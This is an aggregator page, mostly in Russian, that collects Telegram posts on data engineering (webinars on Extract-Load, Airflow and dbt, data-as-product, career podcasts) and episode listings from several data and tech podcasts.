Привет! Сегодня и завтра 23-24 мая в 20.00 приглашаю на вебинар из 2-х частей (интенсив).Extract - Load как сервис и как собственное решение. Поиск баланса и дзен– SaaS решения и их ограничения– Выгрузки через API-вызовы – оптимальные способы реализации– Г
Привет! Сегодня и завтра 23-24 мая в 20.00 приглашаю на вебинар из 2-х частей (интенсив).Extract - Load как сервис и как собственное решение. Поиск баланса и дзен– SaaS решения и их ограничения– Выгрузки через API-вызовы – оптимальные способы реализации– Г Привет! Сегодня и завтра 23-24 мая в 20.00 приглашаю на вебинар из 2-х частей (интенсив).Extract - Load как сервис и как собственное решение. Поиск баланса и дзен– SaaS решения и их ограничения– Выгрузки через API-вызовы – оптимальные способы реализации– Г

Привет! Сегодня и завтра 23-24 мая в 20.00 приглашаю на вебинар из 2-х частей (интенсив).Extract - Load как сервис и как собственное решение. Поиск баланса и дзен– SaaS решения и их ограничения– Выгрузки через API-вызовы – оптимальные способы реализации– Гибридные подходы– Автоматизация выгрузки, retries, notifications с помощью Airflow– Накопление истории и организация Data Lake в S3 перед DWHРассмотрим опыт построения production pipelines, взвесим плюсы и минусы, сделаем выводы.Ссылка на регистрацию: https://otus.ru/lessons/data-engineer/#event-2024Ссылка на YouTube-трансляцию будет опубликована здесь за 5 минут до начала.

4 месяца назад @ t.me
[RU] Вебинар – End-to-End решение для аналитики на примере источника MaestroQA– Extract-Load через API-вызовы и автоматизация в Airflow– Трансформация данных с dbt: обогащение, дедупликация, суррогатные ключи, приведение типов– Моделирование метрик в Looke
[RU] Вебинар – End-to-End решение для аналитики на примере источника MaestroQA– Extract-Load через API-вызовы и автоматизация в Airflow– Трансформация данных с dbt: обогащение, дедупликация, суррогатные ключи, приведение типов– Моделирование метрик в Looke

[RU] Вебинар – End-to-End решение для аналитики на примере источника MaestroQA– Extract-Load через API-вызовы и автоматизация в Airflow– Трансформация данных с dbt: обогащение, дедупликация, суррогатные ключи, приведение типов– Моделирование метрик в Looker BI: слой доступа, визуализация, drill-downСлайды вебинара: https://docs.google.com/presentation/d/1K72UiPjy1ljVRKieLPQdeilC75zZ2N4QszH_XKhR3kM/edit?usp=sharing

4 месяца, 1 неделя назад @ t.me
data будни data будни
последний пост 2 недели, 6 дней назад
Данные как продуктНа прошлом Матемаркетинге был доклад типа «как научить всех SQL», чтобы разгрузить дата-инженеров от выгрузок а-ля select * from table в эксель.Представьте ситуацию, когда все вокруг действительно знают SQL (и иногда даже лучше инженеров
Данные как продуктНа прошлом Матемаркетинге был доклад типа «как научить всех SQL», чтобы разгрузить дата-инженеров от выгрузок а-ля select * from table в эксель.Представьте ситуацию, когда все вокруг действительно знают SQL (и иногда даже лучше инженеров

Данные как продуктНа прошлом Матемаркетинге был доклад типа «как научить всех SQL», чтобы разгрузить дата-инженеров от выгрузок а-ля select * from table в эксель.Представьте ситуацию, когда все вокруг действительно знают SQL (и иногда даже лучше инженеров).Добавьте к этому SQL-диалект, где можно задавать переменные и писать кастомные функции.Плюс общедоступные запускаторы кастомных скриптов с низким порогов входа (всё настраивается через кубики в веб-админке).И мы получаем глобальную песочницу, где стопицот аналитиков и менеджеров создали over 9000 выгрузок, таблиц и витрин, где потом сами считают нужные показатели с нужными разрезами к нужному часу.Мы тут это называем «теневым» DWH.И получ…

2 недели, 6 дней назад @ t.me
Про отношения с источникамиРабота с источниками — это не только написать пайплайн, который забирает данные.Иногда перед экстрактом надо доработать схему данных на источнике: например, добавить created_ts/updated_ts или проставлять флаг удаления вместо бесс
Про отношения с источникамиРабота с источниками — это не только написать пайплайн, который забирает данные.Иногда перед экстрактом надо доработать схему данных на источнике: например, добавить created_ts/updated_ts или проставлять флаг удаления вместо бесс

Про отношения с источникамиРабота с источниками — это не только написать пайплайн, который забирает данные.Иногда перед экстрактом надо доработать схему данных на источнике: например, добавить created_ts/updated_ts или проставлять флаг удаления вместо бесследного уничтожения строки.И даже после того как пайплайн написан и поставлен на регулярный запуск тоже есть задачи: например, добиться, чтобы схема данных не менялась неожиданно. Для разработчиков на источнике тоже может быть новостью, что их данными теперь пользуется кто-то чужой, что эти данные больше не их единоличная собственность и теперь на них завязаны внешние процессы.Колонки в схеме могут поменять название или даже содержимое, по…

4 недели назад @ t.me
Послушать: советы по ML Ops из Moscow Python сами по себе МЛ-модели — это малая доля работы всего этого вашего машин-лёрнинга. До этого надо ещё собрать данные, их почистить и подготовить (ну вы знаете); обучить модель «на коленке», а потом переписать э
Послушать: советы по ML Ops из Moscow Python сами по себе МЛ-модели — это малая доля работы всего этого вашего машин-лёрнинга. До этого надо ещё собрать данные, их почистить и подготовить (ну вы знаете); обучить модель «на коленке», а потом переписать э

Послушать: советы по ML Ops из Moscow Python сами по себе МЛ-модели — это малая доля работы всего этого вашего машин-лёрнинга. До этого надо ещё собрать данные, их почистить и подготовить (ну вы знаете); обучить модель «на коленке», а потом переписать этот…

4 недели, 1 день назад @ t.me
Уровни аналитиков Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития. Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (ме
Уровни аналитиков  Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития.  Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (ме Уровни аналитиков Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития. Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (ме

Уровни аналитиков Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития. Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (мелко…

1 месяц назад @ t.me
Reversed Orchestration Ben Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dag Од
Reversed Orchestration Ben Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dag Од

Reversed Orchestration Ben Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dag Одна…

1 месяц, 1 неделя назад @ t.me
Reversed OrchestrationBen Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dagОдна из
Reversed OrchestrationBen Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dagОдна из

Reversed OrchestrationBen Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dagОдна из проблем — в увеличивающимся количестве графов, тасков и сущностей:> In 2022, data engineers manage forests, not trees В качестве демонстрации несовершенства подхода он предлагает попробовать спроектировать терминал аэропорта принципам как цепочку задач, выстраивая одну за другой последовательно. В аэропорт входят люди → вызываем сотрудников на стойку регистрации → 100 человек собирается у гейта → подкатываем самолёт и грузим багаж → все по…

1 месяц, 1 неделя назад @ t.me
Как минимум это интересно: GoogleDocs научились ходить в BigQueryВроде логичная интеграция: есть неограниченное хранилище и интерфейс к данным, к которому все привыкли; осталось только соединить одно с другим.(если учесть, что BQ тарифицирует за чтение дан
Как минимум это интересно: GoogleDocs научились ходить в BigQueryВроде логичная интеграция: есть неограниченное хранилище и интерфейс к данным, к которому все привыкли; осталось только соединить одно с другим.(если учесть, что BQ тарифицирует за чтение дан

Как минимум это интересно: GoogleDocs научились ходить в BigQueryВроде логичная интеграция: есть неограниченное хранилище и интерфейс к данным, к которому все привыкли; осталось только соединить одно с другим.(если учесть, что BQ тарифицирует за чтение данных, то продакты Гугла должны быть довольны: проще читать данные → больше подключений → больше профит!)https://support.google.com/docs/answer/9703000Я попробовал по-быстрому зайти и открыть какой-то публичный датасет — например какие-то данные Википедии. Можно увидеть что к IP 68.39.174.238 приписано 12455 уникальный айди страниц. Осталось получить от data steward ссылку на data catalog, чтобы проследить data lineage и узнать что за данные…

1 месяц, 3 недели назад @ t.me
Юля собрала полезные советы для собирающихся в Яндекс П.С.: подписывайтесь на Юлю — там весело (а не то что тут)
Юля собрала полезные советы для собирающихся в Яндекс П.С.: подписывайтесь на Юлю — там весело (а не то что тут)

Юля собрала полезные советы для собирающихся в Яндекс П.С.: подписывайтесь на Юлю — там весело (а не то что тут)

1 месяц, 3 недели назад @ t.me
Самое вкусное это конечно V2: Советы, ссылки и всяческая польза.Я на себя взяла смелость оформить в двух вариантах: вот этим постом, тут чуть сокращенно и следующим также в телеграфе. На вкус и цвет как говорится.“…Как попасть в ЯндексВсем доступный путь -
Самое вкусное это конечно V2: Советы, ссылки и всяческая польза.Я на себя взяла смелость оформить в двух вариантах: вот этим постом, тут чуть сокращенно и следующим также в телеграфе. На вкус и цвет как говорится.“…Как попасть в ЯндексВсем доступный путь -

Самое вкусное это конечно V2: Советы, ссылки и всяческая польза.Я на себя взяла смелость оформить в двух вариантах: вот этим постом, тут чуть сокращенно и следующим также в телеграфе. На вкус и цвет как говорится.“…Как попасть в ЯндексВсем доступный путь - это откликнуться на вакансию на официальном сайте Яндекса. Но вы сами понимаете, сколько людей туда откликается каждый день, поэтому шансы, что именно ваше резюме заметят и выделят - наверное не очень высокие.Более реальный вариант - найти знакомого в Яндексе и попросить себя порекомендовать. Этот способ хотя бы сразу приведет к общению с рекрутером, а это уже половина успеха.Еще один путь - участвовать в маркетинговых мероприятиях типа O…

1 месяц, 3 недели назад @ t.me
Spotify Engineering Culture беглый поиск по каналу показал, что тут ещё не было ссылки на два коротких, но очень познавательных и наглядных видео про инженерную культуру в Спотифай — исправляюсь! Часть 1 https://youtu.be/Yvfz4HGtoPc Часть 2 https://yout…
Spotify Engineering Culture  беглый поиск по каналу показал, что тут ещё не было ссылки на два коротких, но очень познавательных и наглядных видео про инженерную культуру в Спотифай — исправляюсь!  Часть 1 https://youtu.be/Yvfz4HGtoPc Часть 2 https://yout… Spotify Engineering Culture беглый поиск по каналу показал, что тут ещё не было ссылки на два коротких, но очень познавательных и наглядных видео про инженерную культуру в Спотифай — исправляюсь! Часть 1 https://youtu.be/Yvfz4HGtoPc Часть 2 https://yout…

Spotify Engineering Culture беглый поиск по каналу показал, что тут ещё не было ссылки на два коротких, но очень познавательных и наглядных видео про инженерную культуру в Спотифай — исправляюсь! Часть 1 https://youtu.be/Yvfz4HGtoPc Часть 2 https://yout…

1 месяц, 3 недели назад @ t.me
Spotify Engineering Cultureбеглый поиск по каналу показал, что тут ещё не было ссылки на два коротких, но очень познавательных и наглядных видео про инженерную культуру в Спотифай — исправляюсь!Часть 1 https://youtu.be/Yvfz4HGtoPcЧасть 2 https://youtu.be/v
Spotify Engineering Cultureбеглый поиск по каналу показал, что тут ещё не было ссылки на два коротких, но очень познавательных и наглядных видео про инженерную культуру в Спотифай — исправляюсь!Часть 1 https://youtu.be/Yvfz4HGtoPcЧасть 2 https://youtu.be/v

Spotify Engineering Cultureбеглый поиск по каналу показал, что тут ещё не было ссылки на два коротких, но очень познавательных и наглядных видео про инженерную культуру в Спотифай — исправляюсь!Часть 1 https://youtu.be/Yvfz4HGtoPcЧасть 2 https://youtu.be/vOt4BbWLWQwмного можно применять к работе и инженеров данных: у нас тоже есть команды, цели, релизы и гильдии. Да мы практически software engineers ^_^ ==[=====> Минимальная организационная единица — автономный сквад из 6 человек. Внутри сквада люди сами решают как делать, как взаимодействовать.Офис утроен под сквады: рабочие места рядом + место для обсуждения со стенами-досками для письма.Хотя сквады автономные и сами выбирают цели, они до…

1 месяц, 3 недели назад @ t.me
2. Семён Осипов про работу и рост инженера данныхНадо брать ответственность самому, а не ждать пока «всё само́»: сначала чинишь код вокруг себя, потом переходишь на следующий уровень и уже чинишь процессы.Про рост зарплаты: первым делом договариваешься с л
2. Семён Осипов про работу и рост инженера данныхНадо брать ответственность самому, а не ждать пока «всё само́»: сначала чинишь код вокруг себя, потом переходишь на следующий уровень и уже чинишь процессы.Про рост зарплаты: первым делом договариваешься с л

2. Семён Осипов про работу и рост инженера данныхНадо брать ответственность самому, а не ждать пока «всё само́»: сначала чинишь код вокруг себя, потом переходишь на следующий уровень и уже чинишь процессы.Про рост зарплаты: первым делом договариваешься с лидом о встрече через Х месяцев, потом приходишь на неё готовый с результатами своей работы с прошедший период. Повторить итерацию.Получился хороший разговор с правильным подходом, как ведущие пошутили «за всё хорошее против всего плохого». Полезно.iTunes, Overcast, YoutubeКанал Семёна про инжиниринг

2 месяца, 2 недели назад @ t.me
послушал два подкаста на схожую тему — про профессиональный путь в дата-отрасли:1. Валерий Бабушкин про технический путьКулстори из рабочих будней про командировки по колхозам и молокозаводам. Плотный график разных проектов с жёсткими сроками и требованиям
послушал два подкаста на схожую тему — про профессиональный путь в дата-отрасли:1. Валерий Бабушкин про технический путьКулстори из рабочих будней про командировки по колхозам и молокозаводам. Плотный график разных проектов с жёсткими сроками и требованиям

послушал два подкаста на схожую тему — про профессиональный путь в дата-отрасли:1. Валерий Бабушкин про технический путьКулстори из рабочих будней про командировки по колхозам и молокозаводам. Плотный график разных проектов с жёсткими сроками и требованиям по точности расчётов даёт +100 к опыту.Помимо когнитивной нагрузки полезно уметь выдерживать и физическую. Например, шесть часов последовательных собесов в Фейсбук. Про мэтчинг грейдов между компаниями: когда миддлы из Х5 или Яндекса идут синьорами-хедами в другие компании; или мега-синьор из вне тянет в Х5 только джуна.Про общую оценку кадров в Х5: 10 профильных докладов на последнем Датафесте (видео от мая 2021) как итог работы Валерия …

2 месяца, 2 недели назад @ t.me
Нужен ли английский разработчикам?Чтобы серьёзно обсудить этот вопрос в Moscow Python позвали двух филологов (Youtube, iTunes и Overcast)Недавно столкнулся с кейсом «зачем нужен английский». Даже не для того, чтобы читать документацию или статьи в оригинал
Нужен ли английский разработчикам?Чтобы серьёзно обсудить этот вопрос в Moscow Python позвали двух филологов (Youtube, iTunes и Overcast)Недавно столкнулся с кейсом «зачем нужен английский». Даже не для того, чтобы читать документацию или статьи в оригинал

Нужен ли английский разработчикам?Чтобы серьёзно обсудить этот вопрос в Moscow Python позвали двух филологов (Youtube, iTunes и Overcast)Недавно столкнулся с кейсом «зачем нужен английский». Даже не для того, чтобы читать документацию или статьи в оригинале. Ещё на несколько уровней ниже: Как. Называть. Переменные.Разбираем с приятелем его код на Джанго для курсовой работы. Вроде всё работает, но собрано из разных частей. Надо понять КАК оно работает. Доходим до стандартной функции get_or_create — название вроде говорит само за себя. Спрашиваю его «что происходит в этом кусочке?», в ответ задумчивость. И тут до меня доходит, что не все умеют читать на английском. Тогда я его прошу перевести…

2 месяца, 3 недели назад @ t.me
Продолжаю наблюдать за синьорами в их естественной среде обитания (в надежде когда-то тоже стать большим и взрослым). Очередной пример различия в наших подходах:Я, когда у меня не работает таск: наверное я что-то не так делаю, 2 часа изучают документацию,
Продолжаю наблюдать за синьорами в их естественной среде обитания (в надежде когда-то тоже стать большим и взрослым). Очередной пример различия в наших подходах:Я, когда у меня не работает таск: наверное я что-то не так делаю, 2 часа изучают документацию,

Продолжаю наблюдать за синьорами в их естественной среде обитания (в надежде когда-то тоже стать большим и взрослым). Очередной пример различия в наших подходах:Я, когда у меня не работает таск: наверное я что-то не так делаю, 2 часа изучают документацию, пробую по-разному, потом спрашиваю совета у коллег. Не исключено, что в результате у меня будут лапки.Синьор, когда у него не работает: приносит ишью в разработку инструмента «тут ваш таск падает, вот логи, вот контекст; а давайте сделаем так, чтобы он падал пораньше? а не в самом конце, когда проработал два с лишним часа». (И ещё сразу прикладывает пулл-реквест с нужной доработкой, типа «посмотрите я тут начал делать» =)

2 месяца, 4 недели назад @ t.me
🎧 Podcasts
Data Engineering Podcast Data Engineering Podcast
последний пост 1 день, 3 часа назад
Build A Common Understanding Of Your Data Reliability Rules With Soda Core and Soda Checks Language
Build A Common Understanding Of Your Data Reliability Rules With Soda Core and Soda Checks Language

Regardless of how data is being used, it is critical that the information is trusted. The practice of data reliability engineering has gained momentum recently to address that question. To help support the efforts of data teams the folks at Soda Data created the Soda Checks Language and the corresponding Soda Core utility that acts on this new DSL. In this episode Tom Baeyens explains their reasons for creating a new syntax for expressing and validating checks for data assets and processes, as well as how to incorporate it into your own projects.

1 день, 3 часа назад @ dataengineeringpodcast.com
Power Your Real-Time Analytics Without The Headache Using Fivetran's Change Data Capture Integrations
Power Your Real-Time Analytics Without The Headache Using Fivetran's Change Data Capture Integrations

Power Your Real-Time Analytics Without The Headache Using Fivetran's Change Data Capture Integrations

1 день, 3 часа назад @ dataengineeringpodcast.com
Building A Shared Understanding Of Data Assets In A Business Through A Single Pane Of Glass With Workstream
Building A Shared Understanding Of Data Assets In A Business Through A Single Pane Of Glass With Workstream

There is a constant tension in business data between growing siloes, and breaking them down. Even when a tool is designed to integrate information as a guard against data isolation, it can easily become a silo of its own, where you have to make a point of using it to seek out information. In order to help distribute critical context about data assets and their status into the locations where work is being done Nicholas Freund co-founded Workstream. In this episode he discusses the challenge of maintaining shared visibility and understanding of data work across the various stakeholders and his efforts to make it a seamless experience.

1 неделя, 1 день назад @ dataengineeringpodcast.com
Operational Analytics To Increase Efficiency For Multi-Location Businesses With OpsAnalitica
Operational Analytics To Increase Efficiency For Multi-Location Businesses With OpsAnalitica

In order to improve efficiency in any business you must first know what is contributing to wasted effort or missed opportunities. When your business operates across multiple locations it becomes even more challenging and important to gain insights into how work is being done. In this episode Tommy Yionoulis shares his experiences working in the service and hospitality industries and how that led him to found OpsAnalitica, a platform for collecting and analyzing metrics on multi location businesses and their operational practices. He discusses the challenges of making data collection purposeful and efficient without distracting employees from their primary duties and how business owners can …

1 неделя, 1 день назад @ dataengineeringpodcast.com
Build Confidence In Your Data Platform With Schema Compatibility Reports That Span Systems And Domains Using Schemata
Build Confidence In Your Data Platform With Schema Compatibility Reports That Span Systems And Domains Using Schemata

Data engineering systems are complex and interconnected with myriad and often opaque chains of dependencies. As they scale, the problems of visibility and dependency management can increase at an exponential rate. In order to turn this into a tractable problem one approach is to define and enforce contracts between producers and consumers of data. Ananth Packildurai created Schemata as a way to make the creation of schema contracts a lightweight process, allowing the dependency chains to be constructed and evolved iteratively and integrating validation of changes into standard delivery systems. In this episode he shares the design of the project and how it fits into your development practic…

2 недели, 1 день назад @ dataengineeringpodcast.com
Building Data Pipelines That Run From Source To Analysis And Activation With Hevo Data
Building Data Pipelines That Run From Source To Analysis And Activation With Hevo Data

Any business that wants to understand their operations and customers through data requires some form of pipeline. Building reliable data pipelines is a complex and costly undertaking with many layered requirements. In order to reduce the amount of time and effort required to build pipelines that power critical insights Manish Jethani co-founded Hevo Data. In this episode he shares his journey from building a consumer product to launching a data pipeline service and how his frustrations as a product owner have informed his work at Hevo Data.

2 недели, 1 день назад @ dataengineeringpodcast.com
Introduce Climate Analytics Into Your Data Platform Without The Heavy Lifting Using Sust Global
Introduce Climate Analytics Into Your Data Platform Without The Heavy Lifting Using Sust Global

The global climate impacts everyone, and the rate of change introduces many questions that businesses need to consider. Getting answers to those questions is challenging, because the climate is a multidimensional and constantly evolving system. Sust Global was created to provide curated data sets for organizations to be able to analyze climate information in the context of their business needs. In this episode Gopal Erinjippurath discusses the data engineering challenges of building and serving those data sets, and how they are distilling complex climate information into consumable facts so you don't have to be an expert to understand it.

3 недели, 1 день назад @ dataengineeringpodcast.com
A Reflection On Data Observability As It Reaches Broader Adoption
A Reflection On Data Observability As It Reaches Broader Adoption

A Reflection On Data Observability As It Reaches Broader Adoption

3 недели, 1 день назад @ dataengineeringpodcast.com
An Exploration Of What Data Automation Can Provide To Data Engineers And Ascend's Journey To Make It A Reality
An Exploration Of What Data Automation Can Provide To Data Engineers And Ascend's Journey To Make It A Reality

The dream of every engineer is to automate all of their tasks. For data engineers, this is a monumental undertaking. Orchestration engines are one step in that direction, but they are not a complete solution. In this episode Sean Knapp shares his views on what constitutes proper automation and the work that he and his team at Ascend are doing to help make it a reality.

4 недели, 1 день назад @ dataengineeringpodcast.com
Alumni Of AirBnB's Early Years Reflect On What They Learned About Building Data Driven Organizations
Alumni Of AirBnB's Early Years Reflect On What They Learned About Building Data Driven Organizations

AirBnB pioneered a number of the organizational practices that have become the goal of modern data teams. Out of that culture a number of successful businesses were created to provide the tools and methods to a broader audience. In this episode several almuni of AirBnB's formative years who have gone on to found their own companies join the show to reflect on their shared successes, missed opportunities, and lessons learned.

4 недели, 1 день назад @ dataengineeringpodcast.com
Understanding The Role Of The Chief Data Officer
Understanding The Role Of The Chief Data Officer

The position of Chief Data Officer (CDO) is relatively new in the business world and has not been universally adopted. As a result, not everyone understands what the responsibilities of the role are, when you need one, and how to hire for it. In this episode Tracy Daniels, CDO of Truist, shares her journey into the position, her responsibilities, and her relationship to the data professionals in her organization.

1 месяц назад @ dataengineeringpodcast.com
An Exploration Of The Expectations, Ecosystem, and Realities Of Real-Time Data Applications
An Exploration Of The Expectations, Ecosystem, and Realities Of Real-Time Data Applications

Data has permeated every aspect of our lives and the products that we interact with. As a result, end users and customers have come to expect interactions and updates with services and analytics to be fast and up to date. In this episode Shruti Bhat gives her view on the state of the ecosystem for real-time data and the work that she and her team at Rockset is doing to make it easier for engineers to build those experiences.

1 месяц назад @ dataengineeringpodcast.com
Bringing Automation To Data Labeling For Machine Learning With Watchful
Bringing Automation To Data Labeling For Machine Learning With Watchful

Data engineers have typically left the process of data labeling to data scientists or other roles because of its nature as a manual and process heavy undertaking, focusing instead on building automation and repeatable systems. Watchful is a platform to make labeling a repeatable and scalable process that relies on codifying domain expertise. In this episode founder Shayan Mohanty explains how he and his team are bringing software best practices and automation to the world of machine learning data preparation and how it allows data engineers to be involved in the process.

1 месяц, 2 недели назад @ dataengineeringpodcast.com
Collecting And Retaining Contextual Metadata For Powerful And Effective Data Discovery
Collecting And Retaining Contextual Metadata For Powerful And Effective Data Discovery

Data is useless if it isn't being used, and you can't use it if you don't know where it is. Data catalogs were the first solution to this problem, but they are only helpful if you know what you are looking for. In this episode Shinji Kim discusses the challenges of data discovery and how to collect and preserve additional context about each piece of information so that you can find what you need when you don't even know what you're looking for yet.

1 месяц, 2 недели назад @ dataengineeringpodcast.com
Useful Lessons And Repeatable Patterns Learned From Data Mesh Implementations At AgileLab
Useful Lessons And Repeatable Patterns Learned From Data Mesh Implementations At AgileLab

Data mesh is a frequent topic of conversation in the data community, with many debates about how and when to employ this architectural pattern. The team at AgileLab have first-hand experience helping large enterprise organizations evaluate and implement their own data mesh strategies. In this episode Paolo Platter shares the lessons they have learned in that process, the Data Mesh Boost platform that they have built to reduce some of the boilerplate required to make it successful, and some of the considerations to make when deciding if a data mesh is the right choice for you.

1 месяц, 3 недели назад @ dataengineeringpodcast.com
Data Brew by Databricks Data Brew by Databricks
последний пост 3 месяца, 2 недели назад
Season 4E6: Professional Athletes
Season 4E6: Professional Athletes

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Shayna Powless and Eli Ankou, professional cyclist for L39ion of Los Angeles and defensive tackle for the Buffalo Bills, respectively, provide valuable insight on how professional athletes leverage data to improve their performance and how they combine their passion for sports with the Dreamcatcher Foundation.See more at databricks.com/data-brew

3 месяца, 2 недели назад @ buzzsprout.com
Season 4E5: Public Health: Education, Access, and Policy
Season 4E5: Public Health: Education, Access, and Policy

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Matt Willis, Marin County Public Health Officer, shares the three pillars of public health: education, access, and policy, and the critical role data plays in addressing the COVID-19 pandemic & opioid epidemic. See more at databricks.com/data-brew

4 месяца, 3 недели назад @ buzzsprout.com
Season 4E4: 1283 Days of Running (and Counting)
Season 4E4: 1283 Days of Running (and Counting)

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Running the length of the US every year, Alexandra Matthiesen shares her motivational secrets for running 1,283 consecutive days (and counting!) and redefining physical and mental limits. See more at databricks.com/data-brew

5 месяцев, 2 недели назад @ buzzsprout.com
Last Man Standing
Last Man Standing

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Winner of the infamous Last Man Standing race (running 246 miles in 59 hours), Guillaume merges the world of competitive long-distance running with data science to push the boundaries of body and mind. See more at databricks.com/data-brew

5 месяцев, 4 недели назад @ buzzsprout.com
Season 4E2: NBA Analytics
Season 4E2: NBA Analytics

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Alexander Powell chronicles the evolution of sports analytics and how professional sports teams use data as a competitive advantage. See more at databricks.com/data-brew

6 месяцев, 3 недели назад @ buzzsprout.com
Season 4E1: Reducing Injury & Increasing Retention of Industrial Athletes
Season 4E1: Reducing Injury & Increasing Retention of Industrial Athletes

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Globally, 38,000 people get hurt on the job every hour. In the United States alone, over $250 billion dollars is spent on workplace injury annually. Sean Petterson, founder and CEO of StrongArm Tech, discusses the role of wearable devices to reduce workplace injury and increase retention of industrial athletes. See more at databricks.com/data-brew

7 месяцев назад @ buzzsprout.com
«Ничего такого» by Dodo Enginnering
последний пост 9 месяцев, 1 неделя назад
Про специфику бизнеса и IT в Ozon, изменения в структуре IT за три года, людях и росте внутри компании
Про специфику бизнеса и IT в Ozon, изменения в структуре IT за три года, людях и росте внутри компании Про специфику бизнеса и IT в Ozon, изменения в структуре IT за три года, людях и росте внутри компании

Заключительный выпуск первого сезона. Ведущие — Паша Притчин и Лиза Швец, гость — Антон Степаненко, СТО Ozon.Антон рассказал о той части бизнеса, которая скрыта от глаз обычных пользователей, почему склады Ozon — это своего рода производство и как в целом выглядит компания с точки зрения IT и бизнеса. Поговорили о бурном росте IT-направления со 120 до 2000 человек за три года и кто в компании помогает ему всем этим управлять.Книги, которые рекомендует Антон:- «Выживают только параноики», автор Эндрю Гроув;- «Экстремальное программирование: планирование» авторы Кент Бек, Мартин Фаулер;- «Искусство войны», автор Сунь-Цзы.

9 месяцев, 1 неделя назад @ dodoctotalks.mave.digital
Про вертикали и горизонтали в матричной структуре, стратегии планирования, agile-подходы и роль проводника между бизнесом и IT
Про вертикали и горизонтали в матричной структуре, стратегии планирования, agile-подходы и роль проводника между бизнесом и IT Про вертикали и горизонтали в матричной структуре, стратегии планирования, agile-подходы и роль проводника между бизнесом и IT

Гость 11-го выпуска — Владимир Малов, СТО «Утконоса». Поговорили о том, что вдохновляет в работе, почему люди важнее технологий и какие приёмы использовать, чтобы подружить бизнес и разработку.Владимир рассказал о матричной структуре компании, стратегиях планирования, agile-подходах, OKR и открытости, благодаря которой команды понимают, как они влияют на результаты бизнеса.А чтобы оставаться в контексте и быть в курсе того, как меняется IT, он порекомендовал читать не книги, а блоги и каналы IT-компаний, в том числе наш и канал U:tech.

9 месяцев, 2 недели назад @ dodoctotalks.mave.digital
Про карьеру, специфику фудтех-бизнеса, микросервисы, облачные системы и факапы
Про карьеру, специфику фудтех-бизнеса, микросервисы, облачные системы и факапы Про карьеру, специфику фудтех-бизнеса, микросервисы, облачные системы и факапы

В начале десятого выпуска Егор Герасимчук, СТО компании Dots Platform, вспомнил об одном забавном случае, который привёл его в фудтех-разработку. Рассказал, как появилась их облачная платформа для автоматизации процессов заказа и доставки еды, как она устроена, почему нельзя экономить на серверах и какие факапы случаются в работе.Книги, которые рекомендует Егор:«Думай медленно... решай быстро», автор Даниэль Канеман;«Эссенциализм. Путь к простоте», автор Грег МакКеон;«Выбор. О свободе и внутренней силе человека», автор Эдит Ева Эгер;«Источник», автор Айн Рэнд;«Проект “Феникс“. Роман о том, как DevOps меняет бизнес к лучшему», авторы Ким Джин, Бер Кевин.

9 месяцев, 3 недели назад @ dodoctotalks.mave.digital
Запуск завтра Podcast Запуск завтра Podcast
последний пост 4 дня, 22 часа назад
Как не сесть за блокчейн? Разбираемся в киберправе
Как не сесть за блокчейн? Разбираемся в киберправе Как не сесть за блокчейн? Разбираемся в киберправе

«Запуск завтра» возвращается с восьмым сезоном! В первом эпизоде Самат разбирается в цифровом праве вместе с киберадвокатом Саркисом Дарбиняном. За что судят Tornado Cash? Нужно ли платить налоги на криптовалюту? Законно ли пользоваться VPN и Tor? Что делать, если у меня украли аккаунт в инстаграме? Задаем волнующие вопросы человеку, защищающему права пользователей в интернете. Бесплатный курс по профориентации в программировании от Яндекс Практикума: https://clck.ru/323qTh Ссылки из эпизода: Мониторинг преследования граждан за онлайн-публикации: https://blackscreen.report Сайт Роскомсвободы: https://roskomsvoboda.org Сайт Digital Rights Center: https://drc.law Киберправовая школа: https://…

4 дня, 22 часа назад @ zapuskzavtra.libsyn.com
A/B тесты. Чем полезны продуктовые эксперименты
A/B тесты. Чем полезны продуктовые эксперименты A/B тесты. Чем полезны продуктовые эксперименты

